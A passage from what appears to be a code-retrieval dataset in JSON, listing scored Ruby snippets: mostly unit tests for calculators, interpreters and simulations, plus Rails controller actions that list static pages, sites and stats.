s.rucas{ p - q }.to_s\n assert_equal \"(p + q)*(p - q)\", s.rucas{ (p + q)*(p - q) }.to_s\n assert_equal \"(p + q) / (p - q)\", s.rucas{ (p + q)/(p - q) }.to_s\n assert_equal \"(p + q)**2\", s.rucas{ (p + q)**2 }.to_s\n assert_equal \"(p + q)**(q + 1)\", s.rucas{ (p + q)**(q + 1) }.to_s\n end", "title": "" }, { "docid": "ffb80e05d2d0b900497ef7150ae453dc", "score": "0.5582611", "text": "def test_suma_densa_dispersa\n\t\tassert_equal(@h11.m, @h9+@h10, \"Resultado Incorrecto\" )\n\tend", "title": "" }, { "docid": "6fa0d4e9c09816291f05c3d906c6c145", "score": "0.55817837", "text": "def test_block_can_be_called_after_and_with_2_ampersands\n assert_false interpret( 'twobits=100 / 4; :twobits == 25 && {true; var=false }; :var')\n end", "title": "" }, { "docid": "190d49022e4d49d0d863ac7a8ac976cd", "score": "0.5576681", "text": "def test_suma\n assert_equal(\"7 / 12\",@p1.suma(@p2).to_s)\n assert_equal(\"21 / -20\",@p4.suma(@p3).to_s)\n end", "title": "" }, { "docid": "f0ca1baa91057bb2c0da8079ddad3f08", "score": "0.55718726", "text": "def test_get_silver_El_Dorado_Canyon\n\t\tcurrent_city = \"El Dorado Canyon\"\n\t\tassert_operator 10, :>=, @test_sim.get_silver(current_city)\n\tend", "title": "" }, { "docid": "ac5f4d8deb01b004321bcf4c7317631e", "score": "0.556884", "text": "def test_code_add_failure\n string = \"Line 13: Operator + applied to empty stack\\n\"\n assert_output(string) { CALC.math('5 +'.split, 13) }\n end", "title": "" }, { "docid": "65973ad2922ed0ab809e2c1ad23544a1", "score": "0.5565084", "text": "def test_dsl_4\n #-------------------------\n show Spock + Lizard + Rock\n #-------------------------\n assert_equal \\\n \"Lizard poisons Spock (winner Lizard)\\n\" \\\n \"Rock crushes Lizard (winner Rock)\\n\" \\\n \"Result = Rock\\n\", \\\n @out.string\n end", "title": "" }, { "docid": "65973ad2922ed0ab809e2c1ad23544a1", "score": "0.5565084", "text": "def test_dsl_4\n #-------------------------\n show Spock + Lizard + Rock\n #-------------------------\n assert_equal \\\n \"Lizard poisons Spock (winner Lizard)\\n\" \\\n \"Rock crushes Lizard (winner Rock)\\n\" \\\n \"Result = Rock\\n\", \\\n @out.string\n end", "title": "" }, { "docid": "43ac03de56c44ee9ce0e9d8f3d64d656", "score": "0.5557923", "text": "def test_mon_cath_b\n\t\tassert_equal 0, @methods.check_new_b('Monroeville', 'Hillman')\n\tend", "title": "" }, { "docid": "c7ea2b4e413a135932ac9f6ce028a96f", "score": "0.555245", "text": "def test_do_more_math_valid\r\n @arg_checker.map[\"A\"] = 1\r\n input = \"a\"\r\n val=0\r\n assert_output(\"\") {val = @arg_checker.do_more_math(input)}\r\n assert_equal [], @arg_checker.error_data\r\n assert_equal true, val\r\n assert_equal [1], @arg_checker.stack\r\n end", "title": "" }, { "docid": "8654ba85b01e0ae4a21664581ca6d4d1", "score": "0.55519915", "text": "def magic3(a)\n a[0]+a[4]+a[8]==S && a[2]+a[4]+a[6]==S &&\n a[0]+a[1]+a[2]==S && a[3]+a[4]+a[5]==S && a[6]+a[7]+a[8]==S &&\n a[0]+a[3]+a[6]==S && a[1]+a[4]+a[7]==S && a[2]+a[5]+a[8]==S\nend", "title": "" }, { "docid": "1987593782947cb3cc699a3ccdc80bd3", "score": "0.5538062", "text": "def test_challenge_35\n # uno\n # dos\n tres\n end", "title": "" }, { "docid": "2ea6be35855f4ac230e65410731c691f", "score": "0.55295557", "text": "def test_example_a\r\n actual_test([\"PLACE 0,0,NORTH\",\r\n \"MOVE\",\r\n \"REPORT\"], \"0,1,NORTH\")\r\n end", "title": "" }, { "docid": "03cf01a4e563f5f5c3ce805acf9d7b5f", "score": "0.5529355", "text": "def test_get_gold_nevada_city\n\t\tcurrent_city = \"Nevada City\"\n\t\tassert_operator 5, :>=, @test_sim.get_gold(current_city)\n\tend", "title": "" }, { "docid": "e7a07bcb4274af78073212529a4a926f", "score": "0.55281234", "text": "def test_floor_3\n assert_equal 3, Instructions.parse(\"(((\").execute\n assert_equal 3, Instructions.parse(\"(()(()(\").execute\n assert_equal 3, Instructions.parse(\"))(((((\").execute\n end", "title": "" }, { "docid": "c51bf108ad77a76f708f410af4047074", "score": "0.5520079", "text": "def test_q14_d_bc\n test_agreement = create_test_agreement\n params = HashWithIndifferentAccess.new\n params[:q14] = 'd'\n params[:q14_d_b] = \"true\"\n params[:q14_d_c] = \"true\"\n\n form_processor = Manuscripts.new\n form_processor.process_question(test_agreement.agreementid.to_i, '14', params, 'UNIT_TESTING')\n\n permissions = test_agreement.active_permissions\n\n # Check Permissions created\n assert_equal 3, permissions.length, \"Incorrect number of permissions created\"\n assert_equal 3, form_processor.permission_count, \"Incorrect count of permissions on form processor\"\n\n #Check Permissions match rules\n assert_equal 1, permissions.select{|p| p.rule==\"r32\"}.length, \"Incorrect rule created\"\n assert_equal 1, permissions.select{|p| p.rule==\"r33\"}.length, \"Incorrect rule created\"\n assert_equal 1, permissions.select{|p| p.rule==\"r49\"}.length, \"Incorrect rule created\"\n end", "title": "" }, { "docid": "46655a74c87971af067fc9e9f2655896", "score": "0.5518249", "text": "def qv\n end", "title": "" }, { "docid": "b8050e3633e9358642a1d1038e2a6fa6", "score": "0.5515549", "text": "def test_rubies_between_one_and_nine\r\n assert_output(\"Going home sad.\\n\"){emotionCheck(5)}\r\n end", "title": "" }, { "docid": "4559d7cd58d2cc3383223b40d70c51bd", "score": "0.5512771", "text": "def test_ands_stay_bad\n 5.times do |i|\n expressions = []\n 5.times do |j|\n expressions << \"Test Eq #{i != j}\"\n end\n filter = expressions.join(\" And \")\n assert !sample(filter), \"Filter: #{filter}\"\n end\n end", "title": "" }, { "docid": "c805b81e7a4cc25a6bd4dfc83552470c", "score": "0.5511486", "text": "def quick_maths\n stmt = nil\n expectation = nil\n prev_ex = nil\n rand(2..6).times do\n op = %w{+ - * /}.sample.k\n operands = rand(2..6).times.map{ rand(1..10) }\n operands << stmt unless stmt.nil?\n operands.shuffle!\n\n begin\n expectation = operands.inject do |memo, oa|\n memo = prev_ex if memo.is_a? Array\n oa = prev_ex if oa.is_a? Array\n memo.to_f.send(op, oa.to_f).to_i\n end\n prev_ex = expectation\n rescue FloatDomainError => e\n LLL.error \"got #{e} trying to #{ op } #{ operands }\"\n LLL.error \"going with #{stmt} -> #{prev_ex} for now\"\n expectation = prev_ex\n break stmt\n end\n stmt = [op] + operands\n # LLL.info \"#{stmt} -> #{expectation}\"\n end\n\n assert_exec stmt, expectation\n end", "title": "" }, { "docid": "0afb8cc51b3db563cca8611393f46010", "score": "0.5509158", "text": "def q; end", "title": "" }, { "docid": "0afb8cc51b3db563cca8611393f46010", "score": "0.5509158", "text": "def q; end", "title": "" }, { "docid": "0afb8cc51b3db563cca8611393f46010", "score": "0.5509158", "text": "def q; end", "title": "" }, { "docid": "0afb8cc51b3db563cca8611393f46010", "score": "0.5509158", "text": "def q; end", "title": "" }, { "docid": "86990ccbfa916105997c6bb00160d6b9", "score": "0.54989564", "text": "def minimumBribes(q)\n cont = 0\n for i in 0..q.size-2\n if v(q,i)\n cont = \"Too chaotic\"\n break\n else\n end\n end\n p \"*****************. #{cont}\"\nend", "title": "" }, { "docid": "3441f5d1aacccdc4f3182bf058fe9ee2", "score": "0.5494877", "text": "def test_5\n assert_equal(solution('777', 0, 0), '777')\n end", "title": "" }, { "docid": "5b46709215e8d7cb688c6bda46e52c1e", "score": "0.54839957", "text": "def test_get_silver_midas\n\t\tcurrent_city = \"Midas\"\n\t\tassert_operator 5, :>=, @test_sim.get_silver(current_city)\n\tend", "title": "" }, { "docid": "6913b931584ea2db922cfb0cdafb5722", "score": "0.54824936", "text": "def test7\r\n [1, 2, 3].each do |m|\r\n [4, 5, 6].each do |n|\r\n p m\r\n p n\r\n return false if n + m == 7\r\n end\r\n p \"bar7-1\"\r\n end\r\n p \"bar7-2\"\r\nend", "title": "" }, { "docid": "89532f4a2509cea2c80c8fa162efff92", "score": "0.5481246", "text": "def test_print_expression_1\n\t\ttester = TheRepl.new()\n\t\tassert_output(\"19\\n\") { tester.print_expression(['9', '10', '+'], 1, false) }\n\tend", "title": "" }, { "docid": "26c2cfa2f0f55a88ef8569bbd0e92df8", "score": "0.5480105", "text": "def test_determinarcuota\n print validate(565.25, determinarcuota(15000.00))\n\tprint validate(960.93, determinarcuota(25500.00))\n\tprint validate(1130.50, determinarcuota(30000.00))\nend", "title": "" }, { "docid": "69a197349500e8a2dd6897ba64a18dbd", "score": "0.54778475", "text": "def test_diff_tan_x\r\n next_input_number = 4\r\n s = \"\\n(%o3) sec(x)^2\\n(%i4) \" \r\n mmp = Maxima::MatchProcessor.new([s])\r\n assert_equal 1, mmp.results.keys.size\r\n assert_equal 'sec(x)^2', mmp.results[next_input_number - 1]\r\n end", "title": "" }, { "docid": "99837c89d79de120580d8c11ec1a227a", "score": "0.5470842", "text": "def m214; 14; end", "title": "" }, { "docid": "83f933c20d73c51ab7062f6b34dc46d0", "score": "0.5470495", "text": "def test_letter\n @rpn.check_var \"LET a 30\"\n val = @rpn.math \"PRINT a 50 +\"\n assert_equal val, 80\n end", "title": "" }, { "docid": "36f606040bd33d1e0d4c6ae54795125d", "score": "0.5467547", "text": "def test_example_b\r\n actual_test([\"PLACE 0,0,NORTH\",\r\n \"LEFT\",\r\n \"REPORT\"],\"0,0,WEST\")\r\n end", "title": "" }, { "docid": "2c00e3b0c888aa219a969e4b88a129c2", "score": "0.5462265", "text": "def test_code_subtraction\n val = CALC.math('99 40 -'.split, 5)\n assert_equal(59, val)\n end", "title": "" }, { "docid": "932075ee3ae01700b61fc4d6bd33bdbc", "score": "0.54594874", "text": "def test_condition_0\n dotest(\n'''<process-definition name=\"con\" revision=\"0\">\n <if test=\"a == a\">\n <print>ok</print>\n </if>\n</process-definition>''', \"ok\")\n end", "title": "" }, { "docid": "2558f649ff86f4af895aa6e3eb41ff17", "score": "0.5455583", "text": "def isPossible(a, b, c, d)\n return \"Yes\" if a==c && b==d\n return if a > c || b > d\n p \"Spot: (#{a},#{b})\"\n\n added_val = a + b\n isPossible(a,added_val,c,d)\n isPossible(added_val,b,c,d)\n\n \"No\"\nend", "title": "" }, { "docid": "768bf922297b09e847f56593cd893b1a", "score": "0.5454871", "text": "def test_reached_on_examples\n assert_equal([], @small_dfa.reached('? a a'))\n assert_equal(@small_dfa.ith_states(2), @small_dfa.reached('? b'))\n assert_equal(@small_dfa.ith_states(1), @small_dfa.reached('? b c a c'))\n assert_equal(@small_dfa.ith_states(1), @small_dfa.reached('? a c', @small_dfa.ith_state(0)))\n assert_equal(@small_dfa.ith_states(1), @small_dfa.reached('? a c',0))\n assert_equal(@small_dfa.ith_states(1), @small_dfa.reached('? a',[0]))\n assert_equal(@small_dfa.ith_states(1,3), @small_dfa.reached('? a',[0,1]))\n assert_equal(@small_dfa.ith_states(2), @small_dfa.reached('? b',[3,1]))\n assert_equal(@small_dfa.ith_states(2), @small_dfa.reached('? b',[0,3,1]))\n\n assert_equal(@small_nfa.ith_states(0,3), @small_nfa.reached('?').sort)\n assert_equal(@small_nfa.ith_states(0,1), @small_nfa.reached('? a').sort)\n assert_equal(@small_nfa.ith_states(1,2,3), @small_nfa.reached('? a b').sort)\n end", "title": "" }, { "docid": "b0dca0881fb53eefd16d116551c5e469", "score": "0.54498374", "text": "def test_rubies_less_than_one\r\n assert_output(\"Going home empty-handed.\\n\"){emotionCheck(0)}\r\n end", "title": "" }, { "docid": "d918d50029f4eb611833bb10db8d8a90", "score": "0.5439427", "text": "def test_simple\n\t\tassert_equal(\"(1,2)\", @x.to_s, \"Setup @a correcto\")\n\t\tassert_equal(\"(3,4)\", @y.to_s, \"Setup @b correcto\")\n\t\tassert_equal(\"(5,4)\", (@x+@y).to_s, \"Suma correcta\")\n\t\tassert_equal(\"(-1,4)\", (@x-@y).to_s, \"Resta correcta\")\n\t\tassert_equal(\"(3,8)\", (@x*@y).to_s, \"Multiplicacion correcta\")\n\t\tassert_equal(\"(2,3)\", (@x/@y).to_s, \"Division correcta\")\n\tend", "title": "" }, { "docid": "c7184ed32f1397212b9ead5aba2727a7", "score": "0.54387707", "text": "def test_lessExpression\n \n # Set debug log level\n Common::Logger.setLogLevel(Common::VAR_DEBUG) \n \n assert_nothing_thrown(\"Creating AST objects\") { \n \n var_AST = AST.new(\"sampledata/data.xml\")\n \n # float < float -> true\n expression = LessExpression.new(FloatTerminal.new(123.882), FloatTerminal.new(123.883))\n expression.execute(var_AST)\n\n assert_equal(true, var_AST.VAR_QRES().pop().VAR_OBJECT())\n \n # float < float -> true\n expression = LessExpression.new(FloatTerminal.new(123.881), FloatTerminal.new(123.882))\n expression.execute(var_AST)\n \n assert_equal(true, var_AST.VAR_QRES().pop().VAR_OBJECT())\n \n # float < integer -> true\n expression = LessExpression.new(FloatTerminal.new(122.999), IntegerTerminal.new(123))\n expression.execute(var_AST)\n \n assert_equal(true, var_AST.VAR_QRES().pop().VAR_OBJECT())\n \n # float < float -> false\n expression = LessExpression.new(FloatTerminal.new(123.00), FloatTerminal.new(123.00))\n expression.execute(var_AST)\n \n assert_equal(false, var_AST.VAR_QRES().pop().VAR_OBJECT()) \n\n # integer < integer -> true\n expression = LessExpression.new(IntegerTerminal.new(122), IntegerTerminal.new(123))\n expression.execute(var_AST)\n\n assert_equal(true, var_AST.VAR_QRES().pop().VAR_OBJECT()) \n \n # integer < float -> true\n expression = LessExpression.new(IntegerTerminal.new(123), FloatTerminal.new(123.001))\n expression.execute(var_AST)\n \n assert_equal(true, var_AST.VAR_QRES().pop().VAR_OBJECT())\n \n # integer < float -> false\n expression = LessExpression.new(IntegerTerminal.new(123), FloatTerminal.new(123.00))\n expression.execute(var_AST)\n \n assert_equal(false, var_AST.VAR_QRES().pop().VAR_OBJECT()) \n \n # string < string -> true\n expression = LessExpression.new(StringTerminal.new(\"12\"), StringTerminal.new(\"123\"))\n expression.execute(var_AST)\n\n assert_equal(true, var_AST.VAR_QRES().pop().VAR_OBJECT()) \n } \n end", "title": "" }, { "docid": "bd04e7a19616ea243461db52bd021888", "score": "0.5435584", "text": "def run_comparison(order); end", "title": "" }, { "docid": "2486447a0bbd10e5a5cc297fbf361770", "score": "0.54332495", "text": "def test_failure\n assert_equal(\"3 / 4\",@p1.suma(@p2).to_s) \n end", "title": "" }, { "docid": "f8c4647ff5fafe63dfcdd5ffc35e2d5c", "score": "0.5431868", "text": "def test_1_4\n expected = [true, false, false, false]\n actual = EuclideanRhythm.euclidean_rhythm(1, 4)\n assert_equal expected, actual\n end", "title": "" }, { "docid": "fddcc0f816e1606a0d86ab3683d4ac0a", "score": "0.5427656", "text": "def test_dtm_st_025\n printf \"\\n+ Test 025\"\n assert true\n end", "title": "" }, { "docid": "ddc5c874f192341d3317f1cfb4edae28", "score": "0.54239124", "text": "def _general_comp_tests()\n failed = 0\n\n song_a = Song.new()\n song_a.artist = \"Oach And The Butts\"\n song_a.album = \"Butts Forever\"\n song_a.genre = \"Stank\"\n song_a.track_num = \"3\"\n\n song_b = Song.new()\n song_b.artist = \"Mad Kyle\"\n song_b.album = \"Butts Forever\"\n song_b.genre = \"Kyle\"\n song_b.track_num = \"1\"\n\n song_c = Song.new()\n song_c.artist = \"Mad Kyle\"\n song_c.album = \"Butts Forever\"\n song_c.genre = \"Stank\"\n song_c.track_num = \"2\"\n\n cmp = 0\n # artist comparison, O comes after M, so expect 1 (a is larger)\n cmp = compare_songs(song_a, song_b, \"artist\")\n if cmp != 1\n failed += 1\n puts _get_test_fail_message(song_a, song_b, \"artist\", 1, cmp)\n end\n\n cmp = 0\n # album comparison, same artist and album, but b has lower track num\n # so expect -1 (b is smaller)\n cmp = compare_songs(song_b, song_c, \"album\")\n if cmp != -1\n failed += 1\n puts _get_test_fail_message(song_b, song_c, \"album\", -1, cmp)\n end\n\n cmp = 0\n # album comparison, same album, but c has lower artist (M < O)\n # so expect 1 (a is larger)\n cmp = compare_songs(song_a, song_c, \"album\")\n if cmp != 1\n failed += 1\n puts _get_test_fail_message(song_a, song_c, \"album\", 1, cmp)\n end\n\n return failed\nend", "title": "" }, { "docid": "279e3c617958e07640e304bf1c741400", "score": "0.5422533", "text": "def triple_expression?; true; end", "title": "" }, { "docid": "f329d5aea2d79f30d9654cb9d38ce7d3", "score": "0.54192334", "text": "def qc\n begin\n print \"#{parse( @spec )}\\n\"\n return 0\n rescue UncorrectableError => uerr\n uerr.show\n return 1\n end\n end", "title": "" }, { "docid": "606cef42bd8917c4acc818de3cc61c59", "score": "0.54172933", "text": "def test_1_3\n expected = [true, false, false]\n actual = EuclideanRhythm.euclidean_rhythm(1, 3)\n assert_equal expected, actual\n end", "title": "" }, { "docid": "0e2165c0c072553bde155fcdc3fc3f70", "score": "0.54115117", "text": "def test_greatherEqualExpression\n \n # Set debug log level\n Common::Logger.setLogLevel(Common::VAR_DEBUG) \n \n assert_nothing_thrown(\"Creating AST objects\") { \n \n var_AST = AST.new(\"sampledata/data.xml\")\n \n # float >= float -> true\n greatherEqualExpression = GreatherEqualExpression.new(FloatTerminal.new(123.883), FloatTerminal.new(123.883))\n greatherEqualExpression.execute(var_AST)\n \n assert_equal(true, var_AST.VAR_QRES().pop().VAR_OBJECT())\n \n # float >= float -> true\n greatherEqualExpression = GreatherEqualExpression.new(FloatTerminal.new(123.883), FloatTerminal.new(123.882))\n greatherEqualExpression.execute(var_AST)\n \n assert_equal(true, var_AST.VAR_QRES().pop().VAR_OBJECT())\n \n # float >= integer -> true\n greatherEqualExpression = GreatherEqualExpression.new(FloatTerminal.new(123.01), IntegerTerminal.new(123))\n greatherEqualExpression.execute(var_AST)\n \n assert_equal(true, var_AST.VAR_QRES().pop().VAR_OBJECT())\n \n # float >= float -> false\n greatherEqualExpression = GreatherEqualExpression.new(FloatTerminal.new(122.99), FloatTerminal.new(123.00))\n greatherEqualExpression.execute(var_AST)\n \n assert_equal(false, var_AST.VAR_QRES().pop().VAR_OBJECT()) \n\n # integer >= integer -> true\n greatherEqualExpression = GreatherEqualExpression.new(IntegerTerminal.new(124), IntegerTerminal.new(123))\n greatherEqualExpression.execute(var_AST)\n\n assert_equal(true, var_AST.VAR_QRES().pop().VAR_OBJECT()) \n \n # integer >= float -> true\n greatherEqualExpression = GreatherEqualExpression.new(IntegerTerminal.new(124), FloatTerminal.new(123.00))\n greatherEqualExpression.execute(var_AST)\n \n assert_equal(true, var_AST.VAR_QRES().pop().VAR_OBJECT())\n \n # integer >= float -> false\n greatherEqualExpression = GreatherEqualExpression.new(IntegerTerminal.new(123), FloatTerminal.new(123.01))\n greatherEqualExpression.execute(var_AST)\n \n assert_equal(false, var_AST.VAR_QRES().pop().VAR_OBJECT()) \n \n # string >= string -> true\n greatherEqualExpression = GreatherEqualExpression.new(StringTerminal.new(\"123\"), StringTerminal.new(\"123\"))\n greatherEqualExpression.execute(var_AST)\n\n assert_equal(true, var_AST.VAR_QRES().pop().VAR_OBJECT()) \n } \n end", "title": "" }, { "docid": "5b6faa97af9c88f0337a25606857b25b", "score": "0.54011893", "text": "def vampire_test(a, b)\n\n\t\t\"#{a}#{b}\".chars.sort == (a*b).to_s.chars.sort\n\t\t\n\tend", "title": "" }, { "docid": "13d460208e3af80d5a8ea508a7381fd9", "score": "0.53988403", "text": "def test_code_multiplication\n val = CALC.math('5 7 *'.split, 1)\n assert_equal 35, val\n end", "title": "" }, { "docid": "fe7d8e95e2e7231c4ef22ae774185f13", "score": "0.53980255", "text": "def test_subtraction\n assert_equal 1, c.calc(\"3-2\")\n end", "title": "" }, { "docid": "c7c8b15c06f1573e4807ef8d46184846", "score": "0.53974247", "text": "def test_get_gold_virginia_city\n\t\tcurrent_city = \"Virginia City\"\n\t\tassert_operator 3, :>=, @test_sim.get_gold(current_city)\n\tend", "title": "" } ]
0d9a06ad6a27e9a613a4c3c92598be9d
GET /statics GET /statics.json
[ { "docid": "9dda3085f7c27c2795ca30f09682b0d7", "score": "0.0", "text": "def index\n \tif user_signed_in? \n \t\t@user = current_user\n \t\t@application_cases = current_user.application_cases.active_status('Active')\n \tend\n end", "title": "" } ]
[ { "docid": "d7a8069bd49fef40719ddf6888de8273", "score": "0.7952599", "text": "def index\n @statics = Static.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @statics }\n end\n end", "title": "" }, { "docid": "3c83499333465b90cb9bfc6531d5dc50", "score": "0.75334066", "text": "def index\n @statics = Static.all\n end", "title": "" }, { "docid": "3c83499333465b90cb9bfc6531d5dc50", "score": "0.75334066", "text": "def index\n @statics = Static.all\n end", "title": "" }, { "docid": "ec4b5deb2081a368980bebfe1f779eb1", "score": "0.64719725", "text": "def index\n @staticpages = Staticpage.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @staticpages }\n end\n end", "title": "" }, { "docid": "5a1b815f3ef1bd54d3d1a419ba2ac978", "score": "0.6117684", "text": "def show\n @site = Site.find_by_subdomain!(request.subdomain)\n @stylesheets = @site.site_resources.where(:resource_type => \"css\")\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @site }\n end\n end", "title": "" }, { "docid": "964aafbeedd6788dd8b2715e2f22d91a", "score": "0.6060675", "text": "def index\n @static_pages = StaticPage.all\n end", "title": "" }, { "docid": "eda6d1e4e5064e7d083e18f9e9a60e96", "score": "0.6032858", "text": "def index\n @static_pages = StaticPage.all\n end", "title": "" }, { "docid": "b16a56e9ccbd76ccdb126b5cc3fbab1b", "score": "0.5925228", "text": "def static_files\n @static_files\n end", "title": "" }, { "docid": "85f624b9ca21e24fec1a59dafa0c20e1", "score": "0.59211016", "text": "def index\n @sites = Site.all\n render json: @sites\n end", "title": "" }, { "docid": "75afcf2f27365fc5f8ae89a3a72c8989", "score": "0.5875924", "text": "def index\n @static_pages = StaticPage.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @static_pages }\n end\n end", "title": "" }, { "docid": "1c46bfefb7623525655394d7f85782a0", "score": "0.58454454", "text": "def stats\n get 'stats', format: 'json'\n end", "title": "" }, { "docid": "57162a3ce714977d71c09182c2662fdb", "score": "0.5783611", "text": "def index\n authorize(StaticPage)\n render(:index, locals: { static_pages: @static_pages.page(1) })\n end", "title": "" }, { "docid": "d4a4c3e1400809ef67dee1d3b6f37c8b", "score": "0.57599854", "text": "def index\n @static_files = StaticFile.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @static_files }\n end\n end", "title": "" }, { "docid": "a510e669eca2cad9c2aef15be5c970a5", "score": "0.57399106", "text": "def index\n @stats = Stat.all()\n\n render json: @stats\n end", "title": "" }, { "docid": "39bf78b9e37adc2038d064abf3fbfa73", "score": "0.5701279", "text": "def index\n @static_items = StaticItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @static_items }\n end\n end", "title": "" }, { "docid": "57c803d3f16dcf5ee5212aeac7e387e0", "score": "0.56758523", "text": "def static\n @static ||= Config::Assets.new(@root)\n end", "title": "" }, { "docid": "086d0c97b2cec5057abb75997d1cfbad", "score": "0.5668946", "text": "def index\n # url = \"https://raw.githubusercontent.com/lewagon/flats-boilerplate/master/flats.json\"\n # @flats = JSON.parse(open(url).read)\n end", "title": "" }, { "docid": "725c9b0e4c4e665036cd47dfb54caa46", "score": "0.56685907", "text": "def index\n @sheds = Shed.all\n\n render json: @sheds\n end", "title": "" }, { "docid": "ee7b585c167ad52fbc13a7717f413df0", "score": "0.566018", "text": "def index\n @resources = resource_class.send(:all)\n render json: @resources\n end", "title": "" }, { "docid": "df7089f69c996f6ca89d76898b4b8ffd", "score": "0.56446576", "text": "def index\n @schools = School.all\n @title = t_meta(:title)\n\n respond_to do |format|\n format.html do\n begin \n @resources = get_all_resources\n rescue\n @resources = false\n end\n end\n format.json { render json: @schools }\n end\n end", "title": "" }, { "docid": "7ccce3579bcb6edca335c5ea67577016", "score": "0.5644109", "text": "def find(id, options = {})\n get(\"/api/lol/static-data/#{region}/#{version || STATIC_DATA_VERSION}/#{self.class.api_model}/#{id}\", options)\n end", "title": "" }, { "docid": "9ce92bb0869e388b95df4a69ae8b0829", "score": "0.5635435", "text": "def index\n @dusts = Dust.all\n render json: @dusts\n end", "title": "" }, { "docid": "b7f8b3dc4cfa24556e28483985475097", "score": "0.56159055", "text": "def show\n @staticpage = Staticpage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @staticpage }\n end\n end", "title": "" }, { "docid": "973714e02bde4321d89355da6bdee930", "score": "0.559796", "text": "def index\n @sites = Site.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sites }\n end\n end", "title": "" }, { "docid": "4f3679e4cd669bcb0923efd2189c450f", "score": "0.55949515", "text": "def index\n render json: Shelf.all\n end", "title": "" }, { "docid": "f421d7b2be33d82a2b204b7f2903b102", "score": "0.55623263", "text": "def show\n if params[:short_url]\n @static = Static.find_by_short_url(params[:short_url])\n else\n @static = Static.find(params[:id])\n end\n\n raise NotFound unless @static\n\n @articles_side_bar = Post.side_bar\n @shop_side_bar = Product.shop_side_bar\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @static }\n end\n end", "title": "" }, { "docid": "622297ac5f302b18e1d4c56bf99241ac", "score": "0.556091", "text": "def fetchAllStatic(client = nil)\n fetchLength(client) ;\n fetchWidth(client) ;\n fetchType(client) ;\n end", "title": "" }, { "docid": "6d47d67e87af7b1927a2f7df84f53e85", "score": "0.55561167", "text": "def index\n @resource_types = ResourceType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @resource_types }\n end\n end", "title": "" }, { "docid": "ca758ed9e6084932c67180fa2f28524a", "score": "0.55515563", "text": "def index\n @sites = Site.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @sites }\n end\n end", "title": "" }, { "docid": "ca758ed9e6084932c67180fa2f28524a", "score": "0.55515563", "text": "def index\n @sites = Site.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @sites }\n end\n end", "title": "" }, { "docid": "4c97b5e5871349be8d9fbbe921e98a52", "score": "0.5549353", "text": "def index\n @stats = Stat.all\n render :json => @stats\n end", "title": "" }, { "docid": "1c578611b1fd3d62e827e901deee1799", "score": "0.55489516", "text": "def index\n @sites = Site.by_user(current_user.id)\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sites }\n end\n end", "title": "" }, { "docid": "c6572965c60f33ca9dc1c62024057061", "score": "0.55268276", "text": "def index\n @slants = Slant.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @slants }\n end\n end", "title": "" }, { "docid": "235fc962767efa7b748df1dd23560f34", "score": "0.5500023", "text": "def index\n @siteships = Siteship.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @siteships }\n end\n end", "title": "" }, { "docid": "8c3b66cdf05bf2fd3b567b328fd40031", "score": "0.5496736", "text": "def index\n @common_static_fields = CommonStaticField.all\n end", "title": "" }, { "docid": "f6afaa36a01308fe4d3a13ba38c3f013", "score": "0.5495657", "text": "def static_files\n @static_files ||= []\n end", "title": "" }, { "docid": "4f890c578218c54853b47bd36736f782", "score": "0.54906636", "text": "def static_route\n super\n end", "title": "" }, { "docid": "b315d29631443246b323dbb4eecbbd43", "score": "0.54870224", "text": "def index\n @statute_types = StatuteType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @statute_types }\n end\n end", "title": "" }, { "docid": "442d432c17dc9866ffb6e7437c23b06d", "score": "0.548455", "text": "def index\n @assets = Asset.all\n\n render json: @assets\n end", "title": "" }, { "docid": "8d460482730d910de05c1c7a80d725b2", "score": "0.547412", "text": "def static_landing_page_content\n @soda_client.get(\n Figaro.env.landing_page_dataset\n )\n end", "title": "" }, { "docid": "1385af5def2ceb34480d6af0d6ad1696", "score": "0.5457586", "text": "def index\n @api_v1_sites = Api::V1::Site.all\n\n respond_to do |format|\n format.html\n format.json { render :json => @api_v1_sites }\n end\n end", "title": "" }, { "docid": "4ea75a35e3395d48925592fc1aa12465", "score": "0.54561347", "text": "def static\n if rack_env\n rack_env[\"PATH_INFO\"] = served_file\n @wawaccess.file_server.call(rack_env)\n else\n path = File.join(root.folder, served_file)\n [200, {'Content-Type' => 'text/plain'}, [File.read(path)]]\n end\n end", "title": "" }, { "docid": "3c06cb01c7c214530937ca8ef07cb2da", "score": "0.5447095", "text": "def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @ss_other_resources }\n end\n end", "title": "" }, { "docid": "adf1c70522e827a7bd4cf1515bff9a0d", "score": "0.54403305", "text": "def set_static\n @static = Static.find(params[:id])\n end", "title": "" }, { "docid": "adf1c70522e827a7bd4cf1515bff9a0d", "score": "0.54403305", "text": "def set_static\n @static = Static.find(params[:id])\n end", "title": "" }, { "docid": "94fbc84194e0550b83203846e33dad48", "score": "0.5440047", "text": "def index\n @admin_surveys = Admin::Survey.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_surveys }\n end\n end", "title": "" }, { "docid": "1533e3e89b5c9e063d399c511e8e16e6", "score": "0.5439835", "text": "def index\n @sites = Site.find_all_by_get_comments(true)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sites }\n end\n end", "title": "" }, { "docid": "a383e87254c0d998528669c8a0b1ab87", "score": "0.54380894", "text": "def index\n @vitals = Vital.all\n render json: @vitals\n end", "title": "" }, { "docid": "3ed276846dca85986057c320d5a701a4", "score": "0.5437191", "text": "def index \n spices = Spice.all\n render json: spices\nend", "title": "" }, { "docid": "5c263294cdc812d0eecf2371f240255f", "score": "0.5431468", "text": "def static! env\n filepath = %w{GET 